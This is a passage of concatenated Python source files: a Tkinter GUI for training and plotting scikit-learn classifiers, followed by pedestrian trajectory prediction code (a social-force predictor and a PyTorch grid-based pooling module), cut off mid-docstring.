Combo Box 1, algrithm def newMethod(self, event): print(self.methodVar.get()) algorithm=self.methodCombo.get() if algorithm=='Support Vector Machine': self.svm_parms() elif algorithm=='Logistical Regression': self.logisticReg_parms() elif algorithm=='Neural Network SciKit': self.NeuralNetSciKit_parms() elif algorithm=='Neural Network': self.NeuralNet_parms() elif algorithm=='Naive Bayes': self.NaiveBayes_parms() def svm_parms(self): self.kernel_label = Label(self, text="kernel ") self.kernel_label.grid(row=11, column=3, sticky=W) self.kernel_text = Entry(self) self.kernel_text.grid(row=11, column=4, sticky=W) self.kernel_text.delete(0,END) self.kernel_text.insert(0,'rbf') self.gamma_label = Label(self, text="Gamma ") self.gamma_label.grid(row=12, column=3, sticky=W) self.gamma_text = Entry(self) self.gamma_text.grid(row=12, column=4, sticky=W) self.gamma_text.delete(0,END) self.gamma_text.insert(0,'1.0') def logisticReg_parms(self): self.solver_label = Label(self, text="Solver ") self.solver_label.grid(row=11, column=3, sticky=W) self.solver_text = Entry(self) self.solver_text.grid(row=11, column=4, sticky=W) self.solver_text.delete(0,END) self.solver_text.insert(0,'liblinear') self.gamma_label = Label(self, text="Inv. Reg Strength") self.gamma_label.grid(row=12, column=3, sticky=W) self.gamma_text = Entry(self) self.gamma_text.grid(row=12, column=4, sticky=W) self.gamma_text.delete(0,END) self.gamma_text.insert(0,'1.0') def NeuralNet_parms1(self): self.numweightsinlayer1_label = Label(self, text="Hidden Layer Size") self.numweightsinlayer1_label.grid(row=11, column=3, sticky=W) self.numweightsinlayer1_text = Entry(self) self.numweightsinlayer1_text.grid(row=11, column=4, sticky=W) self.numweightsinlayer1_text.delete(0,END) self.numweightsinlayer1_text.insert(0,'25') self.maxiter_label = Label(self, text="Maximum Iterations ") self.maxiter_label.grid(row=12, column=3, sticky=W) self.maxiter_text = Entry(self) self.maxiter_text.grid(row=12, column=4, sticky=W) self.maxiter_text.delete(0,END) self.maxiter_text.insert(0,'250') def NeuralNetSciKit_parms(self): self.hidden_layer_sizes_label = Label(self, text="Hidden Layer Sizes") self.hidden_layer_sizes_label.grid(row=11, column=3, sticky=W) self.hidden_layer_sizes_text = Entry(self) self.hidden_layer_sizes_text.grid(row=11, column=4, sticky=W) self.hidden_layer_sizes_text.delete(0,END) self.hidden_layer_sizes_text.insert(0,'5,2') self.solver_label = Label(self, text="Solver ") self.solver_label.grid(row=12, column=3, sticky=W) self.solver_text = Entry(self) self.solver_text.grid(row=12, column=4, sticky=W) self.solver_text.delete(0,END) self.solver_text.insert(0,'lbfgs') self.alpha_label = Label(self, text="Alpha ") self.alpha_label.grid(row=13, column=3, sticky=W) self.alpha_text = Entry(self) self.alpha_text.grid(row=13, column=4, sticky=W) self.alpha_text.delete(0,END) self.alpha_text.insert(0,'1e-5') def NaiveBayes_parms(self): # self.priors_label = Label(self, text="Priors ") # self.priors_label.grid(row=11, column=3, sticky=W) # self.priors_text = Entry(self) # self.priors_text.grid(row=11, column=4, sticky=W) # self.priors_text.delete(0,END) # self.priors_text.insert(0,'None') self.priorsdesc_label = Label(self, text=" ") self.priorsdesc_label.grid(row=11, column=3, sticky=W) self.priorsdesc2_label = Label(self, text=" ") self.priorsdesc2_label.grid(row=11, column=4, sticky=W) self.priorsdesc_label = Label(self, text=" ") self.priorsdesc_label.grid(row=12, column=3, sticky=W) self.priorsdesc2_label = Label(self, text=" ") self.priorsdesc2_label.grid(row=12, column=4, sticky=W) #Event Handler: def RunML(self): from time import time global Xout_pred_label,train_pred_label,xval_pred_label print ("Xin:", Xin.shape, "Xtrain:",Xtrain.shape, "ytrain: ", labeltrain.size, "Xxval: ",X_xval.shape,"yval: ",label_xval.shape) normalization_choice=self.NormalizeVar.get() Xout_pred=Xout if normalization_choice==1: Xout_pred=NF.featureNormalize(Xout) print("Normalization (0=False, 1=True): ",normalization_choice) algorithm=self.methodCombo.get() print("Machine Learning Algorithm chosen: ",algorithm) t0 = time() if algorithm=='Naive Bayes': from sklearn.naive_bayes import GaussianNB # priors_string=self.priors_text.get() # classify=GaussianNB(priors=priors_string) classify=GaussianNB() classify.fit(Xtrain,labeltrain) accuracy=classify.score(X_xval, label_xval) self.scoreVar.set(accuracy) train_pred_label=classify.predict(Xtrain) xval_pred_label=classify.predict(X_xval) Xout_pred_label=classify.predict(Xout_pred) print("accuracy= ",accuracy) elif algorithm=='Logistical Regression': from sklearn import linear_model solver = self.solver_text.get() Cstring=self.gamma_text.get() C=float(Cstring) classify=linear_model.LogisticRegression(solver=solver,C=C) classify.fit(Xtrain,labeltrain) accuracy=classify.score(X_xval, label_xval) self.scoreVar.set(accuracy) print("Solver= ",solver,"C= ",C,"accuracy= ",accuracy) train_pred_label=classify.predict(Xtrain) xval_pred_label=classify.predict(X_xval) Xout_pred_label=classify.predict(Xout_pred) elif algorithm=='Support Vector Machine': from sklearn import svm svm_kernel = self.kernel_text.get() Cstring=self.gamma_text.get() C=float(Cstring) classify=svm.SVC(kernel=svm_kernel,C=C) classify.fit(Xtrain,labeltrain) accuracy=classify.score(X_xval, label_xval) self.scoreVar.set(accuracy) print("kernel= ",svm_kernel,"C= ",C, "accuracy= ",accuracy) train_pred_label=classify.predict(Xtrain) xval_pred_label=classify.predict(X_xval) Xout_pred_label=classify.predict(Xout_pred) elif algorithm=='Neural Network SciKit': from sklearn.neural_network import MLPClassifier solver = self.solver_text.get() hidden_layer_sizes=self.hidden_layer_sizes_text.get() hidden_layer_sizes=np.fromstring(hidden_layer_sizes, dtype=int, sep=',') alpha = self.alpha_text.get() alpha = int(alpha) classify = MLPClassifier(solver=solver, alpha=alpha, hidden_layer_sizes=(hidden_layer_sizes), random_state=1) classify.fit(Xtrain,labeltrain) accuracy=classify.score(X_xval, label_xval) self.scoreVar.set(accuracy) print("Size of Hidden Layers= ",hidden_layer_sizes,"Solver= ",solver,"Alpha= ",alpha,"accuracy= ",accuracy) train_pred_label=classify.predict(Xtrain) xval_pred_label=classify.predict(X_xval) Xout_pred_label=classify.predict(Xout_pred) elif algorithm=='Neural Network 2': import NeuronalNetwork2 as nn hidden_size_string=self.numweightsinlayer1_text.get() hidden_size=int(hidden_size_string) # hidden_size = 25 learning_rate = 1 max_iter_string=self.maxiter_text.get() max_iter=int(max_iter_string) # max_iter=250 num_labels=int(self.num_labels.get()) nntraining_weights=nn.neuronal_network(Xtrain,labeltrain,num_labels,hidden_size,learning_rate,max_iter) xval_pred_label=nn.neuronal_network_predict(X_xval,nntraining_weights,hidden_size,num_labels) Xout_pred_label=nn.neuronal_network_predict(Xout_pred,nntraining_weights,hidden_size,num_labels) accuracy=nn.score(label_xval,xval_pred_label) self.scoreVar.set(accuracy) print("Hidden Layer SIze: ",hidden_size, " Maximum Iterations",max_iter, "accuracy= ",accuracy) else: print('not a valid algorithm') tend=time() runtime=tend-t0 runtimestring="T&P", round(runtime, 3), "s" print (runtimestring) self.runtimeVar.set(runtimestring) #Event handler: Sliding Bar Label, Training and xvalidation Sample Size def onsizeScale(self, val): self.sizeVar.set("Training Size: " + str(val) + "%"+" Xvalidation Size: " + str(100-int(val)) + "%") #Event handler: Normalize data def NormChecked(self): if self.NormalizeVar.get() == 1: self.master.title("Features Normalized") else: self.master.title("Features Raw") #Event handler: Normalize data def newTitle(self, val): sender = val.widget idx = sender.curselection() value = sender.get(idx) self.scoreVar.set(value) #########Plot Input #Event Handler, option data plot def defXfit(self): global Xfit, fit_label chosen=self.v.get() if chosen==1: Xfit=Xin fit_label=u_label print ("Gather avg") elif chosen==2: Xfit=Xtrain fit_label=labeltrain print ("rand train") elif chosen==3: Xfit=X_xval fit_label=label_xval print ("rand xval") elif chosen==4: Xfit=NF.featureNormalize(Xtrain) fit_label=labeltrain print ("norm rand train") elif chosen==5: Xfit=NF.featureNormalize(X_xval) fit_label=label_xval print ("norm rand xval") else: print ("option is not valid") #Event Handler, 1D Scatter Button def HistogramClass(self): import matplotlib.pyplot as plt self.defXfit() number_of_labels=int(self.num_labels.get()) bins=np.arange(number_of_labels+1)-0.5 print(bins,fit_label) plt.hist(fit_label, bins) plt.title('Histogram Input') plt.xlabel('Label') plt.ylabel('Normalized Dist') plt.show() #Event Handler, 1D Scatter Button def scatter1D(self): self.defXfit() x1=Xfit[:,0] x2=fit_label x1_axis=header_list[int(self.X1.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,fit_label,number_of_labels,x1_axis,'LABEL','1D Input Label') plt.show() #Event Handler, 2D Scatter Button def scatter2D(self): self.defXfit() x1=Xfit[:,0] x2=Xfit[:,1] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,fit_label,number_of_labels,x1_axis,x2_axis, '2D Input Label') plt.show() #Event Handler, 3D Scatter Button def scatter3D(self): self.defXfit() x1=Xfit[:,0] x2=Xfit[:,1] x3=Xfit[:,2] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] x3_axis=header_list[int(self.X3.get())] number_of_labels=int(self.num_labels.get()) a3dscatter.scatterg(x1,x2,x3,fit_label,number_of_labels,x1_axis,x2_axis,x3_axis, '3D Input Label') plt.show() #Event Handler, Output Text files with appended Label def outputtxt(self): import numpy as np print("matrix shape",XappGather.shape) dim2_Xout_pred_label=np.array(Xout_pred_label)[np.newaxis].T print("pred label shape",dim2_Xout_pred_label.shape) Xappend=np.append(XappGather,dim2_Xout_pred_label,axis=1) print("Output matrix shape",Xappend.shape) np.savetxt(output_file, Xappend) #########Plot Output Predictions #Event Handler, option data plot def defXpred(self): global Xpred_plot, pred_label_plot chosen=self.v.get() if chosen==1: Xpred_plot=Xout pred_label_plot=Xout_pred_label print ("Gather avg") elif chosen==2: Xpred_plot=Xtrain pred_label_plot=train_pred_label print ("rand train") elif chosen==3: Xpred_plot=X_xval pred_label_plot=xval_pred_label print ("rand xval") elif chosen==4: Xpred_plot=NF.featureNormalize(Xtrain) pred_label_plot=labeltrain print ("norm rand train") elif chosen==5: Xpred_plot=NF.featureNormalize(X_xval) pred_label_plot=label_xval print ("norm rand xval") else: print ("option is not valid") #Event Handler, 1D Scatter Button def HistogramClass_pred(self): import matplotlib.pyplot as plt self.defXpred() number_of_labels=int(self.num_labels.get()) bins=np.arange(number_of_labels+1)-0.5 plt.hist(pred_label_plot, bins) plt.title('Histogram Predicted') plt.show() #Event Handler, 1D Scatter Button def scatter1D_pred(self): self.defXpred() x1=Xpred_plot[:,0] x2=pred_label_plot x1_axis=header_list[int(self.X1.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,pred_label_plot,number_of_labels,x1_axis,'LABEL','1D Predicted') plt.show() #Event Handler, 2D Scatter Button def scatter2D_pred(self): self.defXpred() x1=Xpred_plot[:,0] x2=Xpred_plot[:,1] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,pred_label_plot,number_of_labels,x1_axis,x2_axis,'2D Predicted') plt.show() #Event Handler, 3D Scatter Button def scatter3D_pred(self): self.defXpred() x1=Xpred_plot[:,0] x2=Xpred_plot[:,1] x3=Xpred_plot[:,2] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] x3_axis=header_list[int(self.X3.get())] number_of_labels=int(self.num_labels.get()) a3dscatter.scatterg(x1,x2,x3,pred_label_plot,number_of_labels,x1_axis,x2_axis,x3_axis, '3D Predicted') plt.show() #Event Handler, Quick Plot for ppt def quickplotppt(self): import matplotlib.pyplot as plt self.defXfit() self.defXpred() # Histograms number_of_labels=int(self.num_labels.get()) bins=np.arange(number_of_labels+1)-0.5 plt.hist(fit_label, bins, density=True) plt.title('Histogram Input') plt.show() number_of_labels=int(self.num_labels.get()) bins=np.arange(number_of_labels+1)-0.5 plt.hist(pred_label_plot, bins, density=True) plt.title('Histogram Predicted') plt.show() # 1D Scatters x1=Xfit[:,0] x2=fit_label x1_axis=header_list[int(self.X1.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,fit_label,number_of_labels,x1_axis,'LABEL','1D Input Label') plt.show() x1=Xpred_plot[:,0] x2=pred_label_plot x1_axis=header_list[int(self.X1.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,pred_label_plot,number_of_labels,x1_axis,'LABEL','1D Predicted') plt.show() # 2D Scatters x1=Xfit[:,0] x2=Xfit[:,1] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,fit_label,number_of_labels,x1_axis,x2_axis, '2D Input Label') plt.show() x1=Xpred_plot[:,0] x2=Xpred_plot[:,1] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] number_of_labels=int(self.num_labels.get()) a2dscatter.scatterg(x1,x2,pred_label_plot,number_of_labels,x1_axis,x2_axis, '2D Predicted') plt.show() # 3D Scatters x1=Xfit[:,0] x2=Xfit[:,1] x3=Xfit[:,2] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] x3_axis=header_list[int(self.X3.get())] number_of_labels=int(self.num_labels.get()) a3dscatter.scatterg(x1,x2,x3,fit_label,number_of_labels,x1_axis,x2_axis,x3_axis,'3D Input Label') plt.show() x1=Xpred_plot[:,0] x2=Xpred_plot[:,1] x3=Xpred_plot[:,2] x1_axis=header_list[int(self.X1.get())] x2_axis=header_list[int(self.X2.get())] x3_axis=header_list[int(self.X3.get())] number_of_labels=int(self.num_labels.get()) a3dscatter.scatterg(x1,x2,x3,pred_label_plot,number_of_labels,x1_axis,x2_axis,x3_axis, '3D Predicted') plt.show() def main(): root = Tk() #root.geometry("250x150+300+300") # width x height + x + y # we will use centreWindow instead root.resizable(width=FALSE, height=FALSE) # .. not resizable app = Compact_Frame(root) root.mainloop() if __name__ == '__main__': main() ``` #### File: Joseph-Garzon/MachineLearningGUI/Normalize_Features.py ```python def featureNormalize(X): import numpy as np np.asarray(X) mu=np.ndarray.mean(X,axis=0) X_norm=X-mu sigma=np.ndarray.std(X_norm,axis=0) X_norm=X_norm/sigma print('the mean is',mu) print('and sigma is',sigma) return X_norm ```
{ "source": "JosephGesnouin/Asymmetrical-Bi-RNNs-to-encode-pedestrian-trajectories", "score": 2 }
#### File: Asymmetrical-Bi-RNNs-to-encode-pedestrian-trajectories/classical/socialforce.py ```python import numpy as np from scipy.interpolate import interp1d import trajnetplusplustools import socialforce from socialforce.potentials import PedPedPotential from socialforce.fieldofview import FieldOfView def predict(input_paths, dest_dict=None, dest_type='interp', sf_params=[0.5, 2.1, 0.3], predict_all=True, n_predict=12, obs_length=9): pred_length = n_predict def init_states(input_paths, start_frame, dest_dict, dest_type): initial_state = [] for i, _ in enumerate(input_paths): path = input_paths[i] ped_id = path[0].pedestrian past_path = [t for t in path if t.frame <= start_frame] past_frames = [t.frame for t in path if t.frame <= start_frame] future_path = [t for t in path if t.frame > start_frame] len_path = len(past_path) ## To consider agent or not consider. if start_frame in past_frames: curr = past_path[-1] ## Velocity if len_path >= 4: stride = 3 prev = past_path[-4] else: stride = len_path - 1 prev = past_path[-len_path] [v_x, v_y] = vel_state(prev, curr, stride) ## Destination if dest_type == 'true': if dest_dict is not None: [d_x, d_y] = dest_dict[ped_id] else: raise ValueError elif dest_type == 'interp': [d_x, d_y] = dest_state(past_path, len_path) elif dest_type == 'vel': [d_x, d_y] = [pred_length*v_x, pred_length*v_y] elif dest_type == 'pred_end': [d_x, d_y] = [future_path[-1].x, future_path[-1].y] else: raise NotImplementedError ## Initialize State initial_state.append([curr.x, curr.y, v_x, v_y, d_x, d_y]) return np.array(initial_state) def vel_state(prev, curr, stride): if stride == 0: return [0, 0] diff = np.array([curr.x - prev.x, curr.y - prev.y]) theta = np.arctan2(diff[1], diff[0]) speed = np.linalg.norm(diff) / (stride * 0.4) return [speed*np.cos(theta), speed*np.sin(theta)] def dest_state(path, length): if length == 1: return [path[-1].x, path[-1].y] x = [t.x for t in path] y = [t.y for t in path] time = list(range(length)) f = interp1d(x=time, y=[x, y], fill_value='extrapolate') return f(time[-1] + pred_length) multimodal_outputs = {} primary = input_paths[0] neighbours_tracks = [] frame_diff = primary[1].frame - primary[0].frame start_frame = primary[obs_length-1].frame first_frame = primary[obs_length-1].frame + frame_diff # initialize initial_state = init_states(input_paths, start_frame, dest_dict, dest_type) fps = 20 sampling_rate = int(fps / 2.5) if len(initial_state) != 0: # run ped_ped = PedPedPotential(1./fps, v0=sf_params[1], sigma=sf_params[2]) field_of_view = FieldOfView() s = socialforce.Simulator(initial_state, ped_ped=ped_ped, field_of_view=field_of_view, delta_t=1./fps, tau=sf_params[0]) states = np.stack([s.step().state.copy() for _ in range(pred_length*sampling_rate)]) ## states : pred_length x num_ped x 7 states = np.array([s for num, s in enumerate(states) if num % sampling_rate == 0]) else: ## Stationary past_path = [t for t in input_paths[0] if t.frame == start_frame] states = np.stack([[[past_path[0].x, past_path[0].y]] for _ in range(pred_length)]) # predictions primary_track = states[:, 0, 0:2] neighbours_tracks = states[:, 1:, 0:2] ## Primary Prediction Only if not predict_all: neighbours_tracks = [] # Unimodal Prediction multimodal_outputs[0] = primary_track, neighbours_tracks return multimodal_outputs ``` #### File: Asymmetrical-Bi-RNNs-to-encode-pedestrian-trajectories/Social-NCE_U-LSTM/gridbased_pooling.py ```python from collections import defaultdict import os import numpy as np import matplotlib.pyplot as plt import torch def one_cold(i, n): """Inverse one-hot encoding.""" x = torch.ones(n, dtype=torch.bool) x[i] = 0 return x class GridBasedPooling(torch.nn.Module): def __init__(self, cell_side=2.0, n=4, hidden_dim=128, out_dim=None, type_='occupancy', pool_size=1, blur_size=1, front=False, embedding_arch='one_layer', pretrained_pool_encoder=None, constant=0, norm=0, layer_dims=None, latent_dim=16): """ Pools in a grid of size 'n * cell_side' centred at the ped location cell_side: Scalar size of each cell in real world n: Scalar number of cells along one dimension out_dim: Scalar dimension of resultant interaaction vector type_: ('occupancy', 'directional', 'social', 'dir_social') type of grid-based pooling front: Bool if True, pools neighbours only in the front of pedestrian embedding_arch: ('one_layer', 'two_layer', 'three_layer', 'lstm_layer') architecture to encoder grid tensor pretrained_pool_encoder: None autoencoder to reduce dimensionality of grid constant: int background values of pooling grid norm: Scalar normalization scheme of pool grid [Default: None] """ super(GridBasedPooling, self).__init__() self.cell_side = cell_side self.n = n self.type_ = type_ self.pool_size = pool_size self.blur_size = blur_size self.norm_pool = False self.front = front if self.front: self.norm_pool = True self.constant = constant self.norm = norm self.pool_scale = 1.0 ## Type of pooling self.pooling_dim = 1 if self.type_ == 'directional': self.pooling_dim = 2 if self.type_ == 'social': ## Encode hidden-dim into latent-dim vector (faster computation) self.hidden_dim_encoding = torch.nn.Linear(hidden_dim, latent_dim) self.pooling_dim = latent_dim if self.type_ == 'dir_social': ## Encode hidden-dim into latent-dim vector (faster computation) self.hidden_dim_encoding = torch.nn.Linear(hidden_dim, latent_dim) self.pooling_dim = latent_dim + 2 ## Final Representation Size if out_dim is None: out_dim = hidden_dim self.out_dim = out_dim ## Pretrained AE self.pretrained_model = pretrained_pool_encoder input_dim = None if self.pretrained_model is not None: input_dim = self.pretrained_model[-1].out_features if embedding_arch == 'None': self.out_dim = input_dim ## Embedding Grid / AE Representation self.embedding = None self.embedding_arch = embedding_arch if self.embedding_arch == 'one_layer': self.embedding = self.one_layer(input_dim) elif self.embedding_arch == 'two_layer': self.embedding = self.two_layer(input_dim, layer_dims) elif self.embedding_arch == 'conv_two_layer': self.embedding = self.conv_two_layer(input_dim, layer_dims) elif self.embedding_arch == 'three_layer': self.embedding = self.three_layer(input_dim, layer_dims) elif self.embedding_arch == 'lstm_layer': self.embedding = self.lstm_layer(hidden_dim) def forward_grid(self, grid): """ Encodes the generated grid tensor Parameters ---------- grid: [num_tracks, self.pooling_dim, self.n, self.n] Generated Grid Returns ------- interactor_vector: Tensor [num_tracks, self.out_dim] """ num_tracks = grid.size(0) ## Encode grid using pre-trained autoencoder (reduce dimensionality) if self.pretrained_model is not None: if not isinstance(self.pretrained_model[0], torch.nn.Conv2d): grid = grid.reshape(num_tracks, -1) mean, std = grid.mean(), grid.std() if std == 0: std = 0.03 grid = (grid - mean) / std grid = self.pretrained_model(grid) ## Normalize Grid (if necessary) grid = grid.reshape(num_tracks, -1) ## Normalization schemes if self.norm == 1: # "Global Norm" mean, std = grid.mean(), grid.std() std[std == 0] = 0.09 grid = (grid - mean) / std elif self.norm == 2: # "Feature Norm" mean, std = grid.mean(dim=0, keepdim=True), grid.std(dim=0, keepdim=True) std[std == 0] = 0.1 grid = (grid - mean) / std elif self.norm == 3: # "Sample Norm" mean, std = grid.mean(dim=1, keepdim=True), grid.std(dim=1, keepdim=True) std[std == 0] = 0.1 grid = (grid - mean) / std ## Embed grid if self.embedding_arch == 'lstm_layer': return self.lstm_forward(grid) elif self.embedding: return self.embedding(grid) return grid def forward(self, hidden_state, obs1, obs2): ## Make chosen grid if self.type_ == 'occupancy': grid = self.occupancies(obs1, obs2) elif self.type_ == 'directional': grid = self.directional(obs1, obs2) elif self.type_ == 'social': grid = self.social(hidden_state, obs1, obs2) elif self.type_ == 'dir_social': grid = self.dir_social(hidden_state, obs1, obs2) ## Forward Grid return self.forward_grid(grid) def occupancies(self, obs1, obs2): ## Generate the Occupancy Map return self.occupancy(obs2, past_obs=obs1) def directional(self, obs1, obs2): ## Makes the Directional Grid num_tracks = obs2.size(0) ## if only primary pedestrian present if num_tracks == 1: return self.occupancy(obs2, None) ## Generate values to input in directional grid tensor (relative velocities in this case) vel = obs2 - obs1 unfolded = vel.unsqueeze(0).repeat(vel.size(0), 1, 1) ## [num_tracks, 2] --> [num_tracks, num_tracks, 2] relative = unfolded - vel.unsqueeze(1) ## Deleting Diagonal (Ped wrt itself) ## [num_tracks, num_tracks, 2] --> [num_tracks, num_tracks-1, 2] relative = relative[~torch.eye(num_tracks).bool()].reshape(num_tracks, num_tracks-1, 2) ## Generate Occupancy Map return self.occupancy(obs2, relative, past_obs=obs1) def social(self, hidden_state, obs1, obs2): ## Makes the Social Grid num_tracks = obs2.size(0) ## if only primary pedestrian present if num_tracks == 1: return self.occupancy(obs2, None, past_obs=obs1) ## Generate values to input in hiddenstate grid tensor (compressed hidden-states in this case) ## [num_tracks, hidden_dim] --> [num_tracks, num_tracks-1, pooling_dim] hidden_state_grid = hidden_state.repeat(num_tracks, 1).view(num_tracks, num_tracks, -1) hidden_state_grid = hidden_state_grid[~torch.eye(num_tracks).bool()].reshape(num_tracks, num_tracks-1, -1) hidden_state_grid = self.hidden_dim_encoding(hidden_state_grid) ## Generate Occupancy Map return self.occupancy(obs2, hidden_state_grid, past_obs=obs1) def dir_social(self, hidden_state, obs1, obs2): ## Makes the Directional + Social Grid num_tracks = obs2.size(0) ## if only primary pedestrian present if num_tracks == 1: return self.occupancy(obs2, None) ## Generate values to input in directional grid tensor (relative velocities in this case) vel = obs2 - obs1 unfolded = vel.unsqueeze(0).repeat(vel.size(0), 1, 1) ## [num_tracks, 2] --> [num_tracks, num_tracks, 2] relative = unfolded - vel.unsqueeze(1) ## Deleting Diagonal (Ped wrt itself) ## [num_tracks, num_tracks, 2] --> [num_tracks, num_tracks-1, 2] relative = relative[~torch.eye(num_tracks).bool()].reshape(num_tracks, num_tracks-1, 2) ## Generate values to input in hiddenstate grid tensor (compressed hidden-states in this case) ## [num_tracks, hidden_dim] --> [num_tracks, num_tracks-1, pooling_dim] hidden_state_grid = hidden_state.repeat(num_tracks, 1).view(num_tracks, num_tracks, -1) hidden_state_grid = hidden_state_grid[~torch.eye(num_tracks).bool()].reshape(num_tracks, num_tracks-1, -1) hidden_state_grid = self.hidden_dim_encoding(hidden_state_grid) dir_social_rep = torch.cat([relative, hidden_state_grid], dim=2) ## Generate Occupancy Map return self.occupancy(obs2, dir_social_rep, past_obs=obs1) @staticmethod def normalize(relative, obs, past_obs): ## Normalize pooling grid along direction of pedestrian motion diff = torch.cat([obs[:, 1:] - past_obs[:, 1:], obs[:, 0:1] - past_obs[:, 0:1]], dim=1) velocity = np.arctan2(diff[:, 0].clone(), diff[:, 1].clone()) theta = (np.pi / 2) - velocity ct = torch.cos(theta) st = torch.sin(theta) ## Cleaner? relative = torch.stack([torch.einsum('tc,ci->ti', pos_instance, torch.Tensor([[ct[i], st[i]], [-st[i], ct[i]]])) for i, pos_instance in enumerate(relative)], dim=0) return relative def occupancy(self, obs, other_values=None, past_obs=None): """Returns the occupancy map filled with respective attributes. A different occupancy map with respect to each pedestrian Parameters ---------- obs: Tensor [num_tracks, 2] Current x-y positions of all pedestrians, used to construct occupancy map. other_values: Tensor [num_tracks, num_tracks-1, 2] Attributes (self.pooling_dim) of the neighbours relative to pedestrians, to be filled in the occupancy map e.g. Relative velocities of pedestrians past_obs: Tensor [num_tracks, 2] Previous x-y positions of all pedestrians, used to construct occupancy map. Useful for normalizing the grid tensor. Returns ------- grid: Tensor [num_tracks, self.pooling_dim, self.n, self.n] """ num_tracks = obs.size(0) ##mask unseen mask = torch.isnan(obs).any(dim=1) obs[mask] = 0 ## if only primary pedestrian present if num_tracks == 1: return self.constant*torch.ones(1, self.pooling_dim, self.n, self.n, device=obs.device) ## Get relative position ## [num_tracks, 2] --> [num_tracks, num_tracks, 2] unfolded = obs.unsqueeze(0).repeat(obs.size(0), 1, 1) relative = unfolded - obs.unsqueeze(1) ## Deleting Diagonal (Ped wrt itself) ## [num_tracks, num_tracks, 2] --> [num_tracks, num_tracks-1, 2] relative = relative[~torch.eye(num_tracks).bool()].reshape(num_tracks, num_tracks-1, 2) ## In case of 'occupancy' pooling if other_values is None: other_values = torch.ones(num_tracks, num_tracks-1, self.pooling_dim, device=obs.device) ## Normalize pooling grid along direction of pedestrian motion if self.norm_pool: relative = self.normalize(relative, obs, past_obs) if self.front: oij = (relative / (self.cell_side / self.pool_size) + torch.Tensor([self.n * self.pool_size / 2, 0])) else: oij = (relative / (self.cell_side / self.pool_size) + self.n * self.pool_size / 2) range_violations = torch.sum((oij < 0) + (oij >= self.n * self.pool_size), dim=2) range_mask = range_violations == 0 oij[~range_mask] = 0 other_values[~range_mask] = self.constant oij = oij.long() ## Flatten oi = oij[:, :, 0] * self.n * self.pool_size + oij[:, :, 1] # faster occupancy occ = self.constant*torch.ones(num_tracks, self.n**2 * self.pool_size**2, self.pooling_dim, device=obs.device) ## Fill occupancy map with attributes occ[torch.arange(occ.size(0)).unsqueeze(1), oi] = other_values occ = torch.transpose(occ, 1, 2) occ_2d = occ.view(num_tracks, -1, self.n * self.pool_size, self.n * self.pool_size) if self.blur_size == 1: occ_blurred = occ_2d else: occ_blurred = torch.nn.functional.avg_pool2d( occ_2d, self.blur_size, 1, int(self.blur_size / 2), count_include_pad=True) occ_summed = torch.nn.functional.lp_pool2d(occ_blurred, 1, self.pool_size) # occ_summed = torch.nn.functional.avg_pool2d(occ_blurred, self.pool_size) # faster? return occ_summed ## Architectures of Encoding Grid def one_layer(self, input_dim=None): if input_dim is None: input_dim = self.n * self.n * self.pooling_dim return torch.nn.Sequential( torch.nn.Linear(input_dim, self.out_dim), torch.nn.ReLU(),) ## Default Layer Dims: 1024 def conv_two_layer(self, input_dim=None, layer_dims=None): ## Similar to twoLayer. Will be removed in future version if input_dim is None: input_dim = self.n * self.n * self.pooling_dim return torch.nn.Sequential( torch.nn.Flatten(), torch.nn.Linear(input_dim, layer_dims[0]), torch.nn.ReLU(), torch.nn.Linear(layer_dims[0], self.out_dim), torch.nn.ReLU(),) ## Default Layer Dims: 1024 def two_layer(self, input_dim=None, layer_dims=None): if input_dim is None: input_dim = self.n * self.n * self.pooling_dim return torch.nn.Sequential( torch.nn.Linear(input_dim, layer_dims[0]), torch.nn.ReLU(), torch.nn.Linear(layer_dims[0], self.out_dim), torch.nn.ReLU(),) ## Default Layer Dims: 1024, 512 def three_layer(self, input_dim=None, layer_dims=None): if input_dim is None: input_dim = self.n * self.n * self.pooling_dim return torch.nn.Sequential( torch.nn.Linear(input_dim, layer_dims[0]), torch.nn.ReLU(), torch.nn.Linear(layer_dims[0], layer_dims[1]), torch.nn.ReLU(), torch.nn.Linear(layer_dims[1], self.out_dim), torch.nn.ReLU(),) def lstm_layer(self, hidden_dim): self.hidden_dim = hidden_dim self.pool_lstm = torch.nn.LSTMCell(self.out_dim, self.hidden_dim) self.hidden2pool = torch.nn.Linear(self.hidden_dim, self.out_dim) return torch.nn.Sequential( torch.nn.Linear(self.n * self.n * self.pooling_dim, self.out_dim), torch.nn.ReLU(),) def reset(self, num_tracks, device): self.track_mask = None if self.embedding_arch == 'lstm_layer': self.hidden_cell_state = ( [torch.zeros(self.hidden_dim, device=device) for _ in range(num_tracks)], [torch.zeros(self.hidden_dim, device=device) for _ in range(num_tracks)], ) def lstm_forward(self, grid): """ Forward process for LSTM-based grid encoding""" grid_embedding = self.embedding(grid) num_tracks = grid.size(0) ## If only primary pedestrian of the scene present if torch.sum(self.track_mask).item() == 1: return torch.zeros(num_tracks, self.out_dim, device=grid.device) hidden_cell_stacked = [ torch.stack([h for m, h in zip(self.track_mask, self.hidden_cell_state[0]) if m], dim=0), torch.stack([c for m, c in zip(self.track_mask, self.hidden_cell_state[1]) if m], dim=0), ] ## Update interaction-encoder LSTM hidden_cell_stacked = self.pool_lstm(grid_embedding, hidden_cell_stacked) interaction_vector = self.hidden2pool(hidden_cell_stacked[0]) ## Save hidden-cell-states mask_index = [i for i, m in enumerate(self.track_mask) if m] for i, h, c in zip(mask_index, hidden_cell_stacked[0], hidden_cell_stacked[1]): self.hidden_cell_state[0][i] = h self.hidden_cell_state[1][i] = c return interaction_vector def make_grid(self, obs): """ Make the grids for all time-steps together Only supports 